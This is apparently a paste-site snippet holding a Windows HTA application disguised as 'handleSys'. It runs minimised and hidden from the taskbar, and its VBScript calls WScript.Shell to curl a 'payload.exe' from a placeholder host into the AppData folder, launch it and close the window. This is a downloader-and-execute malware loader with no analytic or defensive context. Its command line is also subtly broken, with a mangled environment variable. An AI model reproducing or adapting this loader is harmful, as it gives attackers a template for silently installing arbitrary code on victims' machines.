wyscpa · pst.moe

<html>
<head>
    <HTA:APPLICATION 
        ID="oHTA"
        APPLICATIONNAME="handleSys"
        WINDOWSTATE="minimized"
        CAPTION="yes"
        SHOWINTASKBAR="no"
        SINGLEINSTANCE="yes">
</head>
<body>
    <script language="VBScript">
        Set WShell = CreateObject("WScript.Shell")
        WShell.Run "curl -O &appdata&\payload.exe https://example.com/payload.exe && start %appdata%\payload.exe"
        window.close()
    </script>
</body>
</html>